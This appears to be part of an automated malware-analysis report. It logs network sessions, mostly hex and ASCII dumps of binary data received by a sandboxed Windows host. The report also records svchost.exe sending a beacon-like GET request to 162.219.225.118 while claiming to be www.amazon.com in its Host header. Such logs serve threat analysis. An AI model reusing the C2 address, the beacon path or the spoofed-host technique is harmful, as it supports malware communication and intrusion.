2021-09-28 07:53:39 UTC	817	IN	Data Raw: 87 1f 42 13 ea b1 a9 65 61 db a8 b2 99 ca 8d 77 59 80 26 38 7c ac 02 be 56 53 e7 bf aa b8 19 89 c1 cb ec 14 a4 f3 30 3e 2b ff 2f 02 ff bc b0 37 e8 60 ba 9d 15 8e 7f 48 ad 41 54 49 ba b3 58 cf 4f 1c 7d de f0 78 70 05 d5 56 90 96 f3 d5 41 bf ea 64 7e 54 b0 28 1d f4 2e 48 d9 ff d8 90 35 b2 d1 a9 4b 80 a8 b2 f7 cc c2 50 4a 8f 0a c4 39 c9 66 36 63 a0 9c 27 54 17 c4 b9 66 6d 15 c4 4b 3e 23 73 f0 a9 ce ae d1 16 f8 74 7a 05 90 1d b6 31 e6 06 8d 9d c4 5d 43 42 d5 b0 f3 ab 27 21 14 e1 6f 51 22 83 7a 86 36 ec 14 a5 e2 d0 c9 c4 09 ba 25 66 ab 55 37 b6 f6 ac 5c 73 fc ae 03 a6 b8 85 2e f8 3f 47 ee 6d 84 8e 90 38 c5 f9 2d 68 00 3b 28 1a 51 8f 71 03 ab 99 13 da b9 a1 97 c5 e2 b7 c8 02 ef fd e0 d1 11 ea e4 2a 2c 83 00 6d 7d 37 38 17 84 8c 22 90 59 3e 71 fd 42 68 30 d7 6b Data Ascii: BeawY&8\|VS0>+/7`HATIXO}xpVAd~T(.H5KPJ9f6c'TfmK>#stz1]CB'!oQ"z6%fU7\s.?Gm8-h;(Qq*,m}78"Y>qBh0k
2021-09-28 07:53:39 UTC	821	IN	Data Raw: 6a c8 40 21 2c 7f b9 14 bf e4 ef 8f 2e d1 35 bb 3c 23 07 3a d9 0f 47 33 82 9e 82 7e 69 e6 d0 38 57 1f eb 57 a3 9f 0f 6f 0d d9 a4 bc 5f b0 ea c6 a3 c5 e3 83 4f 5b 0c be d3 f2 d8 38 70 48 5e 4a 40 a9 21 8f 9d 50 bc ba 54 a0 61 87 f7 a6 67 da 38 3b 4d 64 0f a8 56 b5 de 3d d8 84 5c 32 f5 52 d8 8b 08 12 f9 65 1c f7 5b db 34 03 81 66 5a 2a ac 9c 22 a6 fd 74 7c 8e 6c ae 0e 76 e0 02 47 e1 e2 93 73 46 7f 41 4e 42 b6 20 bb c1 23 5b 71 9d f8 65 8a 2b ff 49 c5 5e 28 51 48 2f 0b d0 fd 90 65 3e d4 00 89 36 06 38 6b 02 30 d3 10 4b e9 91 fb 2d 0e 65 93 ae dc 65 72 89 1b 13 33 23 52 31 21 fd 99 6f 4e 6d 5f 00 8a c4 ef 59 52 9a c9 68 12 61 c5 e6 74 6f de 41 d4 bf e4 da 5c 39 8d c6 81 50 61 97 94 e6 c3 af 53 74 a5 93 4f 33 c9 1f 67 cf a7 c9 03 0e a5 4f f7 9d cd 6d c1 44 6f Data Ascii: j@!,.5<#:G3~i8WWo_O[8pH^J@!PTag8;MdV=\2Re[4fZ*"t\|lvGsFANB #[qe+I^(QH/e>68k0K-eer3#R1!oNm_YRhatoA\9PaStO3gOmDo
2021-09-28 07:53:39 UTC	825	IN	Data Raw: 1f bc 38 e8 42 66 28 d1 93 c8 a0 9a d9 92 e3 af 83 fd 22 1f 2f 37 ae 3e fd 28 91 8a 83 2a 1f 71 fd 89 14 1c 5a a2 d0 f2 a5 42 e7 08 06 c0 65 ea 1c 17 a8 27 80 7b 7a 63 1d 8e db 5e 59 79 95 e9 d1 1a dd 45 90 ce e0 75 6a 65 e6 18 3b ee 65 b1 f1 b2 58 3d c4 6e c1 16 6e 92 fb a3 4d 5d 08 c6 fc 1f ac 4f 36 0a 2f a4 4c c6 3f 54 69 ec dc 68 2e 0c 04 bc 2a 6a 70 9b 05 c6 5e 39 21 05 f8 dd a3 15 d8 80 4a d3 3c d4 a1 16 8c f0 d8 71 e4 cb 5e 6c 7d 33 69 e8 5a 90 ec ae b7 0e 30 fc 4f c0 f8 7f 7a ac c1 3d 05 4a 49 7d 92 f1 9a 15 1c 4d c1 a1 5f 07 67 74 fe 50 5a 8e e5 59 e1 d0 ef d6 15 f3 6a 8a 03 3a 23 7d 59 71 a4 f3 31 60 2e 81 2e 25 35 a5 40 08 eb aa 7e ed 44 06 23 08 a5 bf d8 69 cb d2 b2 f6 8a 34 54 4d 28 3c ab 0a ad 67 6e 55 25 88 22 ea ea 53 1b bc d6 66 d3 fd f8 Data Ascii: 8Bf("/7>(qZBe'{zc^YyEuje;eX=nnM]O6/L?Tih.jp^9!J<q^l}3iZ0Oz=JI}M_gtPZYj:#}Yq1`..%5@~D#i4TM(<gnU%"Sf
2021-09-28 07:53:39 UTC	829	IN	Data Raw: 3d 7a 86 a8 06 3f bd 75 5c dc 3f a2 c5 6b 69 18 42 a7 18 eb 6b 4b f9 3f bc 3b 0a af af ed 6b 84 fe a3 44 2a b5 2e 94 63 6e 67 4d b5 c3 13 c1 40 fb 54 8d 84 ea c0 c4 f1 c7 98 55 9d eb d8 c1 bc 02 33 4b 68 60 68 03 d8 e9 1f 59 1d 13 d7 24 67 7e 6e 6f c2 4d e5 4d eb 05 11 a4 5c e1 30 fa f0 cf b7 8f 70 0b 16 66 65 42 72 0a 21 67 35 3e 37 a3 27 53 f4 42 e7 7f a9 bf 88 68 5e 97 11 83 a1 00 a7 08 71 df b3 5f 2b 21 3b cd 96 84 7d f2 29 7e 1e 37 a0 4e 74 34 40 e6 1b 27 ec de e5 cc 55 9d 9c 39 24 61 1c 29 b4 15 2d 50 39 0b 7b 88 ab 76 c9 ea d7 f6 84 b0 4f 1f 90 e6 29 d2 09 9b 01 c8 25 4d 91 8e ee 3d 92 99 b0 21 7c 63 15 94 6e 43 86 cd 87 95 4b e1 6c 69 97 6b 8e a1 5f 4c ca 83 da 11 6c 40 f4 e8 20 ae 8a 77 7d 32 49 d1 62 20 61 1f fb 41 cc 38 c6 f0 b5 91 3b 37 5a e8 Data Ascii: =z?u\?kiBkK?;kD*.cngM@TU3Kh`hY$g~noMM\0pfeBr!g5>7'SBh^q_+!;})~7Nt4@'U9$a)-P9{vO)%M=!\|cnCKlik_Ll@ w}2Ib aA8;7Z
2021-09-28 07:53:39 UTC	833	IN	Data Raw: cb bf bc d2 97 6b f1 d2 54 52 34 5e 13 e4 d7 73 91 3a 8d b2 cb ee 53 4b 30 d5 3a 18 91 d6 68 a9 59 d1 63 e3 8c f7 61 35 21 11 58 d2 7b 35 a6 9f d2 b4 9f 34 59 f0 a0 35 cd ca 75 7b 0a d1 3e 14 02 f2 3e c7 84 2e 84 1a 1a 0c d8 4f 44 e3 2b 53 47 ec ff 65 22 b1 a5 d5 e5 28 e9 04 f0 e6 2f 09 cb 8c ee ca bc e3 08 ff f5 13 7d 9f 04 12 20 84 be dc 03 56 65 b1 4f 95 82 84 3c e9 73 11 c5 c4 13 ec dc b0 ab 55 f3 a2 3b 3d 60 27 91 de 3f 97 e8 12 8f 6d 24 fd 4c 6a cc c4 43 3f fe e5 78 04 8f e2 80 50 18 0a 82 23 d7 be 12 5d e9 ed ce 23 44 ef 97 65 85 2a b6 ce 7e c6 0c db c0 84 c8 39 d0 f1 22 de 6c ce b9 c0 a6 16 e7 ae 0f 2b fd df d0 af 73 7c 2c 74 e1 92 5c b0 56 28 94 d4 2c b6 ba e4 18 63 f8 a5 b7 e0 00 d2 08 02 0b bf 0d 59 ac 05 89 e5 14 a7 63 ba 03 15 17 e4 a3 72 b0 Data Ascii: kTR4^s:SK0:hYca5!X{54Y5u{>>.OD+SGe"(/} VeO<sU;=`'?m$LjC?xP#]#De*~9"l+s\|,t\V(,cYcr
2021-09-28 07:53:39 UTC	837	IN	Data Raw: 63 38 40 ed a0 ab 8b 9e a2 84 16 b2 17 53 fc d2 da 60 d2 e9 46 54 25 d6 3d 25 2f 17 9d 5a c3 4b 11 c3 60 00 de a3 69 cb 14 4e 40 16 3a 51 39 10 da eb bd af bc 69 bc cb 88 ca 1a 57 28 43 53 e3 0d 99 02 f5 7f 96 a5 9e 66 c5 b8 2e 9a b3 4a d3 8d 7d 6a 68 bd 24 6a 8c 2d f2 d3 30 6e 86 a4 fa 44 01 1e a2 84 4c 45 84 06 fd 46 13 e0 b9 ec 2c 45 1a 64 dc 36 40 21 14 db 29 4b 79 f6 22 e0 f1 cb b2 69 f0 16 1f b5 68 43 03 6d 04 ce 98 b7 30 ed ad d4 bd 33 c9 17 51 5e a7 63 eb 51 96 db 90 fe a1 4a c5 16 41 ee 7b 19 fc 0e 37 54 00 f4 ea 62 ca 64 5e 05 7c 0f 70 9f 33 58 6e 72 ed a9 25 4e 6b 2c e8 f5 26 cc b6 3f cb 79 2c e0 ee c0 d1 a0 35 e8 18 48 b4 e8 8c 23 f5 21 a6 99 3a 8a b6 67 fe 42 41 01 68 51 06 97 94 39 ab cf 19 98 5a 65 4d 4f 53 f7 f6 16 a9 b1 8d b9 3a 11 f5 a8 Data Ascii: c8@S`FT%=%/ZK`iN@:Q9iW(CSf.J}jh$j-0nDLEF,Ed6@!)Ky"ihCm03Q^cQJA{7Tbd^\|p3Xnr%Nk,&?y,5H#!:gBAhQ9ZeMOS:
2021-09-28 07:53:39 UTC	841	IN	Data Raw: 62 66 96 af 57 55 57 5a 58 1f 27 c9 75 f6 13 cc 98 4c e9 72 4e 68 c1 1f 9e 47 e5 34 78 d9 62 a7 78 d9 47 e2 1d e8 b9 7b 24 30 73 e9 88 a6 f4 f8 e4 32 f3 02 3b 62 5a cc ff 0a 94 cc 22 32 f2 7b 6b 47 c8 b2 82 3d f8 c6 80 55 05 13 43 32 d6 ad b7 d4 98 fb c2 59 a8 90 f0 35 80 ca 0d 21 f0 4c 67 91 48 18 29 0d 79 f2 2d a4 16 23 d6 f9 69 d8 06 3f b7 be c2 aa a9 d7 0c 0b 35 b1 8a b0 a0 1e 48 d2 fc 42 82 68 a7 59 f8 aa 7f 55 26 85 a4 5f b3 c3 42 86 8e 0d e7 76 f9 31 98 c5 51 da 4a 1c 34 74 e1 e9 18 ef 9c 2e ec ca f9 98 6d 95 37 35 26 55 58 eb 12 26 08 90 d2 5c ed 77 fe bb b5 b8 71 f4 86 87 22 9e bb 12 69 7b 1b 75 81 32 46 0c 53 7d 76 d9 00 41 2a 16 3e e4 e7 01 50 b5 df 68 2d fc 51 7f b5 a7 64 e0 4e 8c 44 ec f8 65 3e a3 8a 1c 85 6a 64 1d 21 a3 e0 45 8d cf 99 5a be Data Ascii: bfWUWZX'uLrNhG4xbxG{$0s2;bZ"2{kG=UC2Y5!LgH)y-#i?5HBhYU&_Bv1QJ4t.m75&UX&\wq"i{u2FS}vA*>Ph-QdNDe>jd!EZ
2021-09-28 07:53:39 UTC	845	IN	Data Raw: ea 77 73 cf e1 b4 7a 79 cb a3 9d 75 2f 87 f5 cb 42 3d cb 6c a5 bf 96 a4 dc 65 36 bd a5 ae f0 b4 f5 8b f6 9d 34 b7 2c 3e 5c a5 a6 3d 7e d6 85 16 99 02 38 99 a9 1e b3 b8 81 cd af 91 4a 2b 2f 9e 84 b5 c9 42 f6 ee 07 f1 1e 0b 44 70 d5 40 d7 e2 fa d1 e6 00 b5 13 74 ee 1c 3b dc b9 36 79 78 7b f6 f7 93 0d 28 55 2c 81 ce c7 20 a7 7e e0 01 53 6e 7f 59 78 b2 9e 7a ce 44 06 a1 8f 6b dd 52 c6 b1 ac 68 87 1c 98 e9 a8 96 97 89 cf 7b 69 2b 1c a6 84 6b 4c 25 ee 30 a6 be 9b 55 0b d1 78 dc a9 ab 3c 38 cf cf c0 f2 1c 6c 74 01 b4 ac 78 f6 66 9a f8 24 45 02 08 47 52 6e df 73 95 70 a5 af df 03 9f e7 22 0f 0c 4d d0 9c 10 f9 9c 8f 8e 07 de 02 3f 22 1b cd f4 17 ea ab fb 8a 58 a3 31 1c 7a 8b 50 80 17 d7 b5 d5 7f 5c 9a 02 43 b2 1f 0c 23 a9 c8 9d b3 8e 4b 54 de a7 7f 3f ac 1f 4b dd Data Ascii: wszyu/B=le64,>\=~8J+/BDp@t;6yx{(U, ~SnYxzDkRh{i+kL%0Ux<8ltxf$EGRnsp"M?"X1zP\C#KT?K
2021-09-28 07:53:39 UTC	849	IN	Data Raw: 39 8d fa 51 ec a2 0f 8a 4b 4a 3e 6d 65 e2 d6 ac 7e e1 be 8c 85 d0 e3 24 76 16 dd a8 08 ce 72 db b8 6f 6e 3a b5 15 4b 1d 55 23 f9 97 7f 58 7e 63 bf 3c 56 52 17 9d 95 70 02 dd 05 25 9d 17 b0 02 19 86 75 16 a7 22 37 b5 81 60 91 42 0c 01 84 9f b0 41 b0 82 ee cd 3b e6 7f cc 74 be 90 55 3b df 36 42 5a 6a 9c 4d be ac d9 7b 0f c1 85 76 06 4a c7 fc 9c 28 13 5a 55 08 bc 75 a9 9b 5c db 74 b7 97 d4 e2 b5 7c c6 d9 51 e4 5e 59 61 72 f2 5b 70 aa bd 75 a5 2f 3e da 82 4a 14 ee 13 04 ea b9 b6 bf de e9 d6 d9 0f db a6 2e 44 8c cb 5f 42 4d f0 60 84 a2 0d e4 2f 8f ce 81 5a 1d 44 7a b3 b6 7c 4a eb 12 92 14 fe 21 aa ed cd 05 e2 a8 5b 76 c5 e0 54 15 9a 5d c5 f3 25 24 98 a8 02 3f 69 52 05 64 73 0c f4 ad f3 7b c7 1a 40 18 e5 35 6e c4 f5 61 f0 ec a2 06 bc a0 87 c0 23 32 3c d2 53 00 Data Ascii: 9QKJ>me~$vron:KU#X~c<VRp%u"7`BA;tU;6BZjM{vJ(ZUu\t\|Q^Yar[pu/>J.D_BM`/ZDz\|J![vT]%$?iRds{@5na#2<S
2021-09-28 07:53:39 UTC	853	IN	Data Raw: bb fb bc eb b0 42 95 9c 25 73 86 68 3b e2 62 20 fe 3a 37 f5 48 f0 d4 2b a2 0b 78 27 54 9a 89 ac 52 3d 03 98 33 7e e3 f2 a8 85 26 d6 6b 5f 11 da 84 9a 91 c6 6b a6 30 5a c4 cd 97 7a bc 92 f4 a3 f3 fa de 2c c1 fb af 34 71 17 e2 a5 37 ab 01 1d ab 45 76 f4 91 8f 73 fb 81 d6 a5 a4 0a 6d c2 ea 1a 2a bc f7 2e 4a 44 59 13 6d 47 ec a5 2c c5 30 a5 b6 ed ae 2c 91 7a 84 49 3c cd da 80 6d 52 b2 2d 83 82 bc 91 d8 f3 60 74 1c 15 49 88 b1 98 87 09 2c db 15 00 f1 06 91 62 f7 6b a6 83 44 8e 7a 27 78 d3 5b f9 ed 8c 68 0a 5f 0f 71 13 55 14 64 b0 4e e7 2f a3 13 b9 aa c3 a8 95 a2 ef a7 f8 32 3a 3a b4 54 b7 20 ce 33 fc 53 c2 24 83 38 3e 87 0b 8d 13 47 5f 24 e0 1b 30 c7 14 15 d9 8a fc f9 41 27 f4 b8 9f 75 ea 65 26 e9 0e 23 97 16 56 4a b2 6c b4 c3 80 2e 2f ae 0e 10 e4 27 60 a2 8d Data Ascii: B%sh;b :7H+x'TR=3~&k_k0Zz,4q7Evsm*.JDYmG,0,zI<mR-`tI,bkDz'x[h_qUdN/2::T 3S$8>G_$0A'ue&#VJl./'`
2021-09-28 07:53:40 UTC	857	IN	Data Raw: 55 63 e8 55 5d c6 2a 14 1b 5c ea 81 97 71 dc 42 11 04 f2 89 37 cf 8c 94 c6 ba be 16 41 5b ad c3 a7 66 21 ed ef 04 ab b4 4b da 0d f1 7b 99 86 a0 49 c6 fe 00 21 8b 09 d1 cf d7 e4 5f ff 3a ab f0 bf 66 b7 13 e2 b0 5a 94 05 83 65 f8 91 10 76 74 7b 1d 47 3c b5 9f 32 39 02 83 ab 0c a9 51 87 29 a7 ed d5 02 b4 aa c8 4e 01 75 ba 34 51 61 ea c5 6d c7 08 f2 47 d9 c9 e6 14 42 c0 44 b5 a2 bd 0a 22 5d 59 58 bf 24 a9 94 87 af 56 b7 3f 79 4b 52 39 fe dc 4e 29 e0 27 53 54 ae 7d ec 37 7b b4 9c 6f 0c 0a fe 98 f2 b2 a1 9c da 91 a9 df 58 6a ab 47 72 98 cd 21 e5 5a a9 b2 00 fd ff 08 03 10 a6 06 cb a8 4e 4d a1 85 84 ca 35 70 55 42 b3 2c cb 40 01 38 28 07 6a b3 31 2b 7e 4a be 2a 61 00 e7 be 91 d2 31 90 9a 4b 9f f1 34 6d ce fd 12 bc c8 a7 ee b9 42 fa 91 29 47 35 ac cb 22 31 59 7c Data Ascii: UcU]\qB7A[f!K{I!_:fZevt{G<29Q)Nu4QamGBD"]YX$V?yKR9N)'ST}7{oXjGr!ZNM5pUB,@8(j1+~Ja1K4mB)G5"1Y\|
2021-09-28 07:53:40 UTC	861	IN	Data Raw: 0e bb 1c 26 5a 81 b7 99 f9 69 af f9 ef c3 d2 94 4c 03 54 ac 36 79 96 5f a4 d4 15 d8 34 57 98 53 c5 bd 7a 06 e2 99 41 ec cc 77 52 ab 07 04 03 e5 fa 33 89 83 99 ad 94 d6 32 84 66 0b ac eb 88 38 1e d3 d0 71 ef 0b 40 02 96 8b 74 70 35 d3 f1 74 e9 46 e6 0b 3f 27 b5 05 c8 bf 8e e4 d5 ea 90 07 82 dd 9a 81 1b 2a de 6d fc 37 27 bb 1e 70 46 7f b8 d5 d3 69 24 a2 47 2d 88 e6 de c7 da f5 38 f5 47 68 6c 03 f7 79 a7 9d cd 47 34 d0 a8 77 b0 f9 9b 8f 61 d1 64 77 f8 af 7a 07 43 26 e2 cc b3 ad ab 6d 66 c8 d8 9d 81 c7 74 c9 9e a5 70 f4 f1 6d dd 67 de e8 4e 27 24 f5 d1 8b e6 37 13 81 06 23 e5 3c be e0 a0 98 58 c6 aa 3f 3b a8 42 20 af 32 e1 0c 75 89 fa 89 74 53 b3 de 2a 90 a3 77 4c 9c a9 d9 aa 5b db a8 fc 99 1a 9a d5 8d ea e3 91 66 93 c7 08 2d f1 c5 56 73 aa b9 07 06 d2 67 ba Data Ascii: &ZiLT6y_4WSzAwR32f8q@tp5tF?'m7'pFi$G-8GhlyG4wadwzC&mftpmgN'$7#<X?;B 2utSwL[f-Vsg
2021-09-28 07:53:40 UTC	865	IN	Data Raw: bb 1c fc 5e ac 19 36 86 04 47 78 26 0b a8 cc 4a 04 fe 5b 4c 1e c8 ef 7a 9c 0b 04 9f fe 1a 8c cd 08 99 c3 60 c2 9d c3 af 30 48 9a e2 e4 f8 2b 96 24 c8 5b 5e 9c a4 37 5f 76 b4 c8 ba bb 6e 81 af 2d 6c 4f 0d 6c a4 e8 b6 96 5c 3f 7f 0d 11 3d 28 9b f0 f6 ca fe a1 61 56 35 18 1e 64 17 27 51 1d db aa 34 97 ed 6d 70 bd f2 55 c5 f7 34 b0 9d 7a f1 ef d8 ec de e9 6d 80 b7 58 b9 36 79 55 ee d8 05 0f 15 16 a0 b2 23 f0 05 ad 53 e7 c8 3e 5a d8 d9 d3 34 ee b1 f2 d8 c0 90 93 fe 75 4b 27 c6 7c 43 a6 dc df a4 98 1e 90 24 01 09 3f 1c 49 ab 74 00 82 a2 4d 18 6f fc 2a 9a 30 64 cb 35 12 e6 3f 50 6a 28 c3 80 3e 59 e1 30 c7 1a ab 0e 9b a2 77 07 6e 34 35 36 fc 09 41 d7 6b b2 8c 82 b4 2f 72 38 2d 49 48 64 61 00 85 45 fb 75 fa 25 e4 d1 f4 1c 11 95 0a 45 3e c7 96 22 27 c1 6d a7 ba b6 Data Ascii: ^6Gx&J[Lz`0H+$[^7_vn-lOl\?=(aV5d'Q4mpU4zmX6yU#S>Z4uK'\|C$?ItMo*0d5?Pj(>Y0wn456Ak/r8-IHdaEu%E>"'m
2021-09-28 07:53:40 UTC	869	IN	Data Raw: b0 ed 21 57 2a 01 6c 34 c0 f3 99 c2 c8 62 98 6b 21 bb 6f bd 75 f8 7f 1c 4c 0b 30 d1 60 28 94 ca c4 24 73 2b a3 65 26 25 6d a5 b4 60 e7 8b ed 47 03 e8 a8 f2 ec 89 0d 5f 33 96 0b 6c 63 45 78 19 d0 02 39 41 5e ac f9 e6 0e fd 56 99 0a 54 ec cf 29 a0 12 6b 18 ce 13 8a 8a 55 e1 8f 33 36 d2 c4 2f 51 56 66 78 99 3f 4d c1 b4 51 f1 a8 47 2e 4f c6 2a a2 d8 f8 fa 21 ce d0 b4 2b 23 2a 7c e7 fa 8b 89 b1 c3 e5 d6 ed 83 a4 82 59 fd f7 64 61 c4 91 87 58 39 38 14 d9 76 92 88 c5 96 18 34 5e 5b fa 11 7f fb 2c b6 0c b2 05 d2 58 d5 46 8f 6a f2 08 b6 4a b3 4d 39 48 46 25 55 31 50 0f 99 77 46 19 b9 b8 f9 89 61 27 5f de 5b 2d e0 97 18 da 90 07 2b 5c d5 df 75 2e 3a 61 17 62 31 12 63 70 f8 bb f6 ad 32 93 bd 33 00 d8 81 ac 9d 7f 24 01 c2 a1 a5 56 25 a6 62 12 1c 92 86 73 e4 ab cc 2c Data Ascii: !Wl4bk!ouL0`($s+e&%m`G_3lcEx9A^VT)kU36/QVfx?MQG.O!+#*\|YdaX98v4^[,XFjJM9HF%U1PwFa'_[-+\u.:ab1cp23$V%bs,
2021-09-28 07:53:40 UTC	873	IN	Data Raw: fb 61 4c bd e2 e4 9c bf 06 6b fb 3b 4a a5 54 7d 2c e9 2b 6a 58 7d ef 2e eb e6 77 1b 6b 63 07 3e d0 08 37 a4 8a 88 0d 5e 94 71 34 fe 54 91 67 53 fc 4c 70 60 f1 54 48 43 db 67 10 0b ae be b1 1d 02 b7 a9 ab a0 4a a4 de 4a bf be 8b cd 2b b1 e0 1b 66 83 19 49 3b d5 f0 a1 06 0e 64 0b 6f 6f b0 90 df 6e 44 37 b4 0a 97 cf c5 f9 e9 08 80 cf b1 04 80 c9 ff ee 20 94 64 7b bc ee 96 d0 f9 cc 29 d3 98 17 5a a5 b9 6d 45 d9 45 9c 41 80 5f de 0f 33 4a f4 d4 a8 d1 9d 31 9d a6 fc e2 79 91 ad 13 27 15 f6 7d 03 ff 6d cc b2 a0 16 55 b1 16 ea c4 a6 77 cf 35 82 48 b1 2d a9 c2 df 8e b1 c3 29 55 ed db 32 09 7d e5 a2 88 8f 64 3a 49 b5 8c 5b f0 23 f7 5d c1 6c ed 58 08 e0 0e ed 30 8d 8d 7a ef bc 7e f8 ce 29 18 70 e4 de 3c 70 a2 86 a3 0a 9a de d7 ec fd 1b 81 9e f6 45 46 69 71 f0 51 37 Data Ascii: aLk;JT},+jX}.wkc>7^q4TgSLp`THCgJJ+fI;doonD7 d{)ZmEEA_3J1y'}mUw5H-)U2}d:I[#]lX0z~)p<pEFiqQ7
2021-09-28 07:53:40 UTC	877	IN	Data Raw: bd 67 33 bb fb d4 66 52 39 58 47 a2 91 9b 71 b7 a2 60 de 4a 7f d8 c6 c0 4f 50 d7 2d 7b c5 d1 15 29 af b4 ba 1d 6c e8 84 e0 f7 1d 4b 8a 77 c9 6c bf 50 67 d2 00 72 33 f0 82 4f 5b 12 31 2f 2f 8e 0a 7b f2 8f a1 53 80 a2 ae 5a e4 e3 82 b2 50 54 f4 c3 5c 36 00 8a 9b a7 f0 f2 bd 3f 64 46 8f 18 82 35 16 d4 bd ee 26 4d 13 a9 bd 68 9a b5 3e 20 bc 0a c7 07 34 d8 32 ae ef 5e f8 93 75 b9 e6 b9 80 fa ac e1 c2 ca ef 93 8f e6 2c db 08 79 ef 6c c4 c6 0b 87 97 37 ef dc d5 52 b7 a2 b5 bc 55 5e a9 89 85 38 1c e3 21 fa a3 f2 23 2c ee 7d 4a aa 3f 11 df 8e c0 22 ef a4 a6 37 3d 0e 70 39 cb 4d e4 7c cc d4 d9 7b 22 7b 41 5a 80 03 92 bb 83 2a 7c 3f f8 91 8b c3 73 7a 08 9c f0 7c fb 27 ed 82 ca f3 b2 60 bb 4b db f4 db ee be 7c 5b a5 c6 28 e3 ec 1a 05 05 87 c4 86 7b 6a dc 94 24 17 7f Data Ascii: g3fR9XGq`JOP-{)lKwlPgr3O[1//{SZPT\6?dF5&Mh> 42^u,yl7RU^8!#,}J?"7=p9M\|{"{AZ*\|?sz\|'`K\|[({j$
2021-09-28 07:53:40 UTC	881	IN	Data Raw: f6 4b 5b 0e 47 51 eb e1 b9 ef 2e 89 1f 14 a9 02 2c 15 be 03 db 03 f6 52 ad aa 2a bb 99 4c a2 ad 80 35 a0 32 65 7a 0b d8 ba 6c ad c6 fc bb b7 2a b0 1c 5e d1 3b 9e 7a e1 c1 90 63 ad f8 e8 67 d1 a2 e7 76 6e d1 fc a9 a9 c3 cd 53 29 dc c9 90 07 de 24 20 ae 86 b5 25 31 5e c3 72 18 46 a0 21 da 1b e0 69 9c a3 a5 ac cd 60 74 a1 12 76 8f c3 96 c7 34 d8 1d 06 1a 27 c4 63 aa 78 b1 5a f9 df 07 b7 7d 19 5e f0 fd c0 ba 21 59 b1 6c 15 8a ad 08 8c 08 ad 1c 27 91 7d 68 be 84 2c b7 62 6e b6 a0 ea 07 4a f6 3d 84 1c 78 bc 40 0b c8 10 f2 7c 54 28 c4 70 11 f5 87 5e 1c c7 74 25 88 ee fc 91 c9 44 75 46 0f f1 5d 8d 1d 50 a5 82 3d 66 ee 3b f5 48 9f 50 6a a7 1c 2b bb e9 ce bd b8 53 1d 40 c8 74 ef 4d cd 07 a5 21 45 62 b8 c4 c2 8c ad df 84 85 0e e9 42 8b 96 bf 60 fd f4 ff e9 b3 f9 37 Data Ascii: K[GQ.,RL52ezl^;zcgvnS)$ %1^rF!i`tv4'cxZ}^!Yl'}h,bnJ=x@\|T(p^t%DuF]P=f;HPj+S@tM!EbB`7
2021-09-28 07:53:40 UTC	885	IN	Data Raw: 5a 7b 70 dd 1c 85 25 80 83 d3 3b 6f 89 9f 6e a4 cb 99 59 1a e8 45 cc 14 a2 b9 41 43 e4 7e 87 12 45 c9 8e ac 8b 42 9b 04 9b 3f 8a ea b5 b3 f0 b8 61 13 15 67 58 f5 57 a7 57 7c 16 56 62 a7 85 07 e5 3c 5b 05 69 59 78 79 78 02 8d cc fa cd e0 e9 58 1c b0 76 78 63 93 75 be ed a0 91 d7 17 72 07 f8 25 93 07 64 d3 4d 9b 62 57 3c 5b b6 b2 6d ac 8c 13 ab 27 36 61 d8 56 fe a1 ce 89 b6 47 43 e4 c5 79 b9 d2 03 b9 97 f5 8f 0a be bd cd 14 d4 0d 2e b2 4a 4e 8b ee d0 5c 58 17 c9 33 de a9 d2 d8 6c 93 4d 33 89 68 da 66 c3 da 31 39 ec 06 bd 85 b8 f4 7c ce 6d f3 8c 09 34 84 4b 7c 33 4c a6 83 d9 61 91 d7 0f 72 aa 0a 73 5e 8f a3 ec 28 cd 4a de f1 d2 df e0 30 15 80 50 7b d6 d7 3c 45 9e fb f7 6f 52 01 32 d0 16 e8 ff cd e7 2f d1 01 eb ce 44 63 d8 67 5b 32 6e be 72 c5 b7 8c 3f 61 f6 Data Ascii: Z{p%;onYEAC~EB?agXWW\|Vb<[iYxyxXvxcur%dMbW<[m'6aVGCy.JN\X3lM3hf19\|m4K\|3Lars^(J0P{<EoR2/Dcg[2nr?a

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.3	50001	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:15 UTC	1022	OUT	GET /kbnm45xk0M7qatqqIx35qkJicweigo/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:54:16 UTC	1022	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:54:15 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: QJC54QFPRJR66TR25901 x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:54:16 UTC	1023	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.3	50004	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
